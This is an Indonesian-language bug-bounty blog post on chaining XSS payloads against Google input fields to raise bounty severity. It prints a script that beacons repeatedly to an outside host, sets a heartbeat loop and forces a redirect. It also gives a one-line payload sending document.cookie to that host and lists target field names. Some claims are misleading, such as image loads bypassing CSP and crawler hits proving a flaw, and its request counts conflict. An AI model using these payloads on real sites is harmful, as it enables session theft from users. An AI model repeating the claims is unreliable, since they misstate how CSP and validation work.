🎯 KENAPA BANYAK HUNTER GAGAL DI GOOGLE

Mereka pikir Google impossible buat di-hack. Padahal mah salah! Rahasianya? Advanced payload chaining di environment yang udah pake CSP.

BTW LAPORANKU DUPE HEHE

None

Kesalahan Mayoritas Hunter:

  • Pake payload dasar yang langsung kena block CSP
  • Gak bisa demonstrate impact yang nyata
  • Report "XSS no cookie leak" = Severity P4
  • Lupa buktiin persistence

🔥 STRATEGI CHAINING GOOGLE

Payload:

<script>
fetch('https://youroastify.com/compromised');
setTimeout(() => {
  fetch('https://youroastify.com/persistence_set');
  setInterval(() => {
    fetch('https://youroastify.com/heartbeat');
  }, 5000);
}, 500);
setTimeout(() => {
  for(let i = 0; i < 8; i++) {
    setTimeout(() => {
      fetch('https://youroastify.com/exploit_' + i);
    }, i * 100);
  }
}, 1000);
setTimeout(() => {
  fetch('https://youroastify.com/final_fetch');
  new Image().src = 'https://youroastify.com/final_image';
  window.location = 'https://youroastify.com/final_redirect';
}, 3000);
</script>
RESULT EXPECTATIONS
RESULT EXPECTATIONS :

🛠 BREAKDOWN PAYLOAD UNTUK LEWATIN CSP

Phase 1: Proof of Execution

fetch('/compromised');

Tujuan: Buktikan script jalan di domain Google. Request pertama = konfirmasi eksekusi.

Phase 2: Persistence Engine

setInterval(() => { fetch('/heartbeat'); }, 5000);

Tujuan:

  • persistence_set = Tandai kontrol jangka panjang
  • heartbeat tiap 5 detik = Bukti script tetap hidup
  • Target: Dapat minimal 3 heartbeat logs

Phase 3: Exploit Sequencing

for(let i = 0; i < 8; i++) { fetch('/exploit_' + i); }

Tujuan:

  • exploit_0 sampai exploit_7 = 8 request berurutan
  • Interval 100ms = Test stabilitas eksekusi
  • Target: Semua 8 exploit harus terekam

Phase 4: Multi-Vector Bypass

fetch('/final_fetch');
new Image().src = '/final_image';
window.location = '/final_redirect';

Tujuan Lewati CSP:

  • fetch() = Coba modern API calls
  • Image().src = Bypass CSP pakai image tag (sering work!)
  • window.location = Buktikan bisa kontrol navigasi

🎯 REAL-WORLD ATTACK SCENARIOS

Dengan payload ini, attacker bisa:

1. Session Hijacking

  • Maintain access ke akun user selamanya
  • Monitor semua activity user
  • Perform actions sebagai user

2. Data Exfiltration

  • Steal sensitive data dari DOM
  • Capture user input & interactions
  • Exfiltrate credentials & tokens

3. UI Redressing

  • Modify interface untuk social engineering
  • Create fake login forms
  • Redirect ke malicious sites

4. CSRF Attacks

  • Execute actions sebagai logged-in user
  • Change account settings
  • Perform financial transactions

📊 CARA VERIFIKASI SUKSES

Logs yang Harus Keluar (35+ Requests):

✅ compromised
✅ persistence_set  
✅ heartbeat (minimal 3x)
✅ exploit_0
✅ exploit_1
✅ exploit_2
✅ exploit_3
✅ exploit_4
✅ exploit_5
✅ exploit_6
✅ exploit_7
✅ final_fetch
✅ final_image
✅ final_redirect

Total: 15+ unique calls buktikan eksekusi lengkap

None
VERIFIED BY GOOGLE SAFETY CRAWLER

💰 STRATEGI NAIKIN BOUNTY

From P4 to P2/P3:

  • Long-term session control (heartbeat proof)
  • Multiple attack vectors (8 sequential exploits)
  • CSP bypass capabilities (image exfiltration)
  • Navigation hijacking (redirect proof)
  • Reliable payload delivery"

Parameter Kunci:

  • description, comment, note, content
  • title, name, feedback, review
  • Field yang render sebagai HTML

⚡ WORKFLOW HUNTING CEPAT

  1. Cari input fields di Google assets

Test basic XSS dulu: <script> fetch('https://youroastify.com/?c='+document.cookie) </script>

  1. Kalau work, deploy advanced payload
  2. Monitor Burp Collab 2–3 menit
  3. Verifikasi semua phase complete
  4. Screenshot logs sebagai evidence
  5. Report dengan impact demonstration

🚨 PATTERN SUKSES

Google bakal auto-verify pakai Google Safety Crawler:

From: googlebot(at)googlebot.com
User-Agent: Google-Safety

Ini konfirmasi: Vulnerability legitimate & production-level serious!

📝 KESIMPULAN

Google assets punya protection tinggi, tapi celah masih ada di:

  • Area user-generated content
  • Legacy systems
  • Fitur baru yang lagi development
  • Third-party integrations

Always test responsibly dan dalam program scope. Dengan strategy ini, finding XSS biasa bisa jadi high-value bounty! 🏆

Intinya: Di Google, bukti eksekusi >>>> teori. Tunjukin impact nyata!